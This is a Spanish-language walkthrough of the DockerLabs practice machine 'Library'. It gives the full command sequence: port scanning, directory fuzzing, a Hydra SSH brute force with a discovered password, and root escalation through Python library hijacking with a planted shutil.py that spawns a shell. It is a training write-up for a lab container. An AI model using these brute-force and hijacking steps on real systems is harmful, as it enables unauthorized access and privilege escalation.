Máquina: Library
SO: Linux
Nivel: Facil
DockerLabs


1. Escaneamos puertos abiertos de la maquina, tenemos ssh y apache corriendo.

sudo nmap -p- --open -T5 --min-rate=5000 -sCV -n -Pn 172.17.0.2

img

2. Revisamos la web apache pero no tenemos nada ahi.

http://172.17.0.2

img

3. Hacemos fuzzing de directorios web, encontramos un fichero php donde podemos ver un texto.

gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

img img

4. Hacemos fuerza bruta al ssh, suponiendo que el texto encontrado es una contraseña. :) Ya pillamos el usuario.

hydra -L /usr/share/wordlists/rockyou.txt -p "JIFGHDS87GYDFIGD" ssh://172.17.0.2

img

5. Me conecto por ssh; revisamos binarios sudoers, tenemos el binario python que ejecuta un script donde podemos ver que importa una libreria, pero ojo que no tiene la ruta definida osea que podemos hacer python library hijacking.

ssh carlos@172.17.0.2

sudo -l

cat /opt/script.py

img img

6. Tenemos permisos para escribir en opt mismo, podemos crear ahi nuestro shutil.py para suplantar la libreria y escalar privilegios; tambien podemos exportarlo al path por las dudas; logramos ser root :) .

ls -dl /opt

cd opt

echo -e "import os \nos.system('/bin/bash')" > shutil.py

export PATH=/opt:$PATH

sudo -u root /usr/bin/python3 /opt/script.py

img


Finalizado.